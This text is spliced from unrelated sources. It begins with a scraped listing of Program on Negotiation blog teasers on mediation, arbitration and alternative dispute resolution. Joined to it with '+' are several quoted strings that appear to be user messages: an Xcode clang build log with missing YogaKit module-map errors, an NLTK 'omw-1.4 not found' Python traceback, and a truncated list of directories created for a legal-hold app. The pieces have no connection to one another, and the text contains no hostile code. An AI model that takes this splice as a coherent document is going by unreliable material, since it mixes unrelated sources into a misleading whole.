attended the Mediation Pedagogy Conference. We received general materials about classes on Alternative Dispute Resolution (ADR) as well as highly specific and idiosyncratic units like Conflict Resolution through Literature: Romeo and Juliet and a negotiating training package for female managers … READ MORE \n\nWhy is Negotiation Important: Mediation in Transactional Negotiations\nPOSTED NOVEMBER 22ND, 2022 BY PON STAFF & FILED UNDER MEDIATION.\n\nWe generally think of mediation as a dispute-resolution device. Federal mediators intervene when collective bargaining breaks down. Diplomats are sometimes called in to mediate conflicts between nations. So-called multi-door courthouses encourage litigants to mediate before incurring the costs – and risks – of going to trial. … READ MORE \n\nWhat are the Three Basic Types of Dispute Resolution? What to Know About Mediation, Arbitration, and Litigation\nPOSTED OCTOBER 10TH, 2022 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nWhen it comes to dispute resolution, we now have many choices. Understandably, disputants are often confused about which process to use. … READ MORE \n\nA Negotiation Impasse Between England and France Leads to Skirmish Over Scallops\nPOSTED SEPTEMBER 15TH, 2022 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nWhen parties are fighting for scarce resources, disputes can become intense. Negotiation is often the answer, but agreements may need to be continually revisited to keep the peace, and a negotiation impasse can result in renewed conflict. That’s the main takeaway from the dispute that erupted in the English Channel between French and British fishermen … READ MORE \n\nWhat is Alternative Dispute Resolution?\nPOSTED DECEMBER 1ST, 2020 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nSo, you’re stuck in a serious dispute, but you’re desperate to avoid the hassle and expense of a court case. You’ve heard about alternative dispute resolution but are not sure what it entails. … READ WHAT IS ALTERNATIVE DISPUTE RESOLUTION? \n\nUndecided on Your Dispute Resolution Process? Combine Mediation and Arbitration, Known as Med-Arb\nPOSTED OCTOBER 6TH, 2020 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe choice: arbitration vs. mediation. You’re not sure which of two common dispute resolution processes, mediation or arbitration, to use to resolve your conflict. … READ MORE \n\nHow Fast-Food Workers Used Alternative Dispute Resolution (ADR) to Demand Higher Wages\nPOSTED SEPTEMBER 29TH, 2020 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nLabor unions are the most obvious example of negotiating coalitions. If an individual employee made demands of its employer, the company could threaten to hire someone else. … READ MORE \n\nCapture the Best of Mediation and Arbitration\nPOSTED DECEMBER 12TH, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe problem: You’re not sure which of the two most common dispute-resolution processes, mediation or arbitration, to use to resolve your conflict. Mediation is appealing because it would allow you to reach a collaborative settlement, but you’re worried it could end in impasse. You know that arbitration would wrap up your dispute conclusively, but it … READ CAPTURE THE BEST OF MEDIATION AND ARBITRATION \n\nHow to Deal with a Difficult Mediator\nPOSTED NOVEMBER 1ST, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nFrancesca Gino, Program on Negotiation faculty member and author of the bestselling book, Sidetracked: Why Our Decisions Get Derailed and How We Can Stick to the Plan, tackles this question from a Negotiation Briefings reader concerning how to deal with a mediator that is abrasive, dismissive, or even rude. … READ HOW TO DEAL WITH A DIFFICULT MEDIATOR \n\nUsing Mediators to Resolve Disputes\nPOSTED SEPTEMBER 1ST, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nYou’ve seen how mediators can help one organizational team prepare for a complex negotiation. But what about when litigation looms? … READ USING MEDIATORS TO RESOLVE DISPUTES \n\nHow to Conduct a Mediation During Crisis Negotiations\nPOSTED AUGUST 2ND, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe most difficult peace negotiations in recent decades—in Ireland, the Middle East, the former Yugoslavia, and Sri Lanka—were plagued by a common enemy: violent disruptions by spoilers opposed to the peace process. In each of these cases, extremists stalled negotiations by creating security crises that divided public opinion and drove negotiators apart. … READ MORE \n\nHow Your Organization Can Benefit from Mediation Techniques\nPOSTED JULY 14TH, 2016 BY KATIE SHONK & FILED UNDER MEDIATION.\n\nIf you manage people, disputes will show up at your door. The marketing VP protests that the budget cap you and your new finance VP proposed is hindering a research initiative you supported. Two young sales representatives are embroiled in a turf war. Your administrative assistant is upset because the HR director won’t approve the … READ MORE \n\nMake the Most of Mediation in Negotiations and Dispute Resolution\nPOSTED JUNE 6TH, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nWhat at first seemed like a minor misunderstanding has spiraled out of control. A Chicago-based printing company hired your Chicago-based IT consulting firm to train its staff to use its new computer system. … READ MORE \n\nAnnouncing the 2015 PON Summer Fellows\nPOSTED MAY 21ST, 2015 BY PON STAFF & FILED UNDER DAILY, OPPORTUNITIES FOR STUDENTS, SUMMER FELLOWSHIP GRANTS.\n\nAbout the PON Summer Fellowship Program: PON offers fellowship grants to students at Harvard University, MIT, Tufts University and other Boston-area schools who are doing internships or undertaking summer research projects in negotiation and dispute resolution in partnership with public, non-profit or academic organizations. The Summer Fellowship Program’s emphasis is on advancing the links between scholarship … READ ANNOUNCING THE 2015 PON SUMMER FELLOWS \n\nInterdisciplinary and International Perspectives on ADR: Past, Present, and Future\nPOSTED APRIL 8TH, 2015 BY PON STAFF & FILED UNDER DAILY, EVENTS.\n\nThe Program on Negotiation at Harvard Law School is pleased to present: Interdisciplinary and International Perspectives on ADR: Past, Present, and Future with\n\nDr. Paola Cecchi-Dimeglio Editor, Interdisciplinary Handbook of Dispute Resolution\n\nWednesday, April 15, 2015 12:00 – 1:30PM Pound Hall 102 Harvard Law School campus Free and open to the public. A non-pizza lunch will be provided. About the Book: Over the last three decades, Alternative Dispute Resolution (ADR) … READ MORE \n\nBet you didn’t know…Negotiation research you can use\nPOSTED DECEMBER 15TH, 2013 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nAs state and local governments in the United States have been stretched to the breaking point, conflicts between public-sector employers and employees have become increasingly acrimonious, often resulting in stalemates. When governments and employee unions reach impasse, they often turn to alternative dispute-resolution practices such as mediation and arbitration. Though these practices can be successful, the … READ MORE \n\nTaking Alternative Dispute Resolution (ADR) Too Far\nPOSTED FEBRUARY 27TH, 2013 BY PON STAFF & FILED UNDER MEDIATION.\n\nMore and more companies are inserting alternative dispute resolution (ADR) clauses in their contracts with customers and vendors, and even in agreements with their own employees. ADR processes such as mediation and arbitration can be beneficial for all concerned if they help avoid the cost, delay, and uncertainty of going to court. Mediation, in particular, … READ MORE \n\nMediation, Arbitration, and the Promise of Privacy\nPOSTED OCTOBER 22ND, 2012 BY PON STAFF & FILED UNDER MEDIATION.\n\nNegotiators often choose to resolve their conflicts through mediation, arbitration, and other alternative dispute resolution methods because of the privacy these methods promise. Unlike the public nature of litigation, mediation and arbitration typically give parties the freedom to hash out sensitive issues without the fear that their discussions and agreement will become public knowledge. Two … READ MORE \n\nTaking ADR Too Far\nPOSTED JUNE 1ST, 2012 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nMore and more companies are inserting alternative dispute resolution (ADR) clauses in their contracts with customers and vendors, and even in agreements with their own employees. ADR processes such as mediation and arbitration can be beneficial for all concerned if they help avoid the cost, delay, and uncertainty of going to court. Mediation, in particular, … READ TAKING ADR TOO FAR \n\nAre You Overlooking Mediation?\nPOSTED JULY 19TH, 2010 BY PON STAFF & FILED UNDER DAILY, MEDIATION.\n\nAdapted from “Why Aren’t Mediation and Arbitration More Popular?” First published in the Negotiation newsletter. Many scholars have noted that the business community would greatly benefit from third-party dispute resolution services. The problem is, there isn’t much demand for mediation or arbitration. If the alternative dispute resolution field has in fact built a better mousetrap, why … READ ARE YOU OVERLOOKING MEDIATION? \n\nConflict within Companies\nPOSTED JUNE 9TH, 2008 BY PON STAFF & FILED UNDER CONFLICT RESOLUTION.\n\nConflict within companies can be very costly, both in time and resources. Alternative Dispute Resolution, or ADR, may be helpful as you consider ways in which you can transition from conflict to productivity within your own organization. The three most common ADR techniques are: mediation, arbitration, and med-arb. During mediation a neutral third party facilitates a … READ CONFLICT WITHIN COMPANIES' +"cd /Users/jameschege/WebstormProjects/supanova/ios/Pods\n /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -x objective-c -target arm64-apple-ios12.4-simulator -fmessage-length\\=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit\\=0 -std\\=gnu11 -fobjc-arc -fmodules -fmodules-cache-path\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex -fmodules-prune-interval\\=86400 -fmodules-prune-after\\=345600 -fbuild-session-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex/Session.modulevalidation -fmodules-validate-once-per-build-session -Wnon-modular-include-in-framework-module -Werror\\=non-modular-include-in-framework-module -Wno-trigraphs -fpascal-strings -O0 -fno-common -Wno-missing-field-initializers -Wno-missing-prototypes -Werror\\=return-type -Wdocumentation -Wunreachable-code -Wno-implicit-atomic-properties -Werror\\=deprecated-objc-isa-usage -Wno-objc-interface-ivars -Werror\\=objc-root-class -Wno-arc-repeated-use-of-weak -Wimplicit-retain-self -Wduplicate-method-match -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-variable -Wunused-value -Wempty-body -Wuninitialized -Wconditional-uninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wshorten-64-to-32 -Wpointer-sign -Wno-newline-eof -Wno-selector -Wno-strict-selector-match -Wundeclared-selector -Wdeprecated-implementations -Wno-implicit-fallthrough -DPOD\\_CONFIGURATION\\_DEBUG\\=1 -DDEBUG\\=1 -DCOCOAPODS\\=1 -DOBJC\\_OLD\\_DISPATCH\\_PROTOTYPES\\=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator16.2.sdk -fstrict-aliasing -Wprotocol -Wdeprecated-declarations -g -Wno-sign-conversion -Winfinite-recursion -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wno-semicolon-before-method-body -Wunguarded-availability -fobjc-abi-version\\=2 -fobjc-legacy-dispatch -index-store-path /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Index.noindex/DataStore -iquote /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-generated-files.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-own-target-headers.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-all-non-framework-target-headers.hmap -ivfsoverlay /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/all-product-headers.yaml -iquote /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-project-headers.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Products/Debug-iphonesimulator/React-jsinspector/include -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Private -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Private/React-jsinspector -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Public -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Public/React-jsinspector -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources-normal/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources -F/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Products/Debug-iphonesimulator/React-jsinspector -fmodule-map-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/FlipperKit/FlipperKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/RCTTypeSafety/RCTTypeSafety.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React/React-Core.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/ReactCommon/ReactCommon.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React\\_Codegen/React-Codegen.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/folly/RCT-Folly.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/yoga/Yoga.modulemap -DFOLLY\\_NO\\_CONFIG -DFOLLY\\_MOBILE\\=1 -DFOLLY\\_USE\\_LIBCPP\\=1 -Wno-comma -Wno-shorten-64-to-32 -DREACT\\_NATIVE\\_MINOR\\_VERSION\\=71 -DREANIMATED\\_VERSION\\=3.0.2 -include /Users/jameschege/WebstormProjects/supanova/ios/Pods/Target\\ Support\\ Files/React-jsinspector/React-jsinspector-prefix.pch -MMD -MT dependencies -MF /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.d --serialize-diagnostics /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.dia -c /Users/jameschege/WebstormProjects/supanova/ios/Pods/Target\\ Support\\ Files/React-jsinspector/React-jsinspector-dummy.m -o /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.o -index-unit-output-path /Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.o\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\n1 error generated." +'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in \n 42 \n 43 # Preprocess train and test text data\n---> 44 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 45 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 46 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in preprocess\\_text(text)\n 36 # Lemmatize\n 37 lemmatizer = WordNetLemmatizer()\n---> 38 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 39 # Join tokens back into a string\n 40 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in (.0)\n 36 # Lemmatize\n 37 lemmatizer = WordNetLemmatizer()\n---> 38 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 39 # Join tokens back into a string\n 40 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\nstill error' +"it created 14 dir and 38 files but the wrong structure, doesn't match the original. Here are the paths created from the terminal window\nCurrent working directory: C:\\Users\\JonRowe\\Documents\\Scripts\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/AuditLogListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/LegalHoldSummary.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/LegalHoldsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/CustodiansContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/NotificationsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/PoliciesContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/AuditLogsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/Dashboard.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/App.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/\nCreated file: 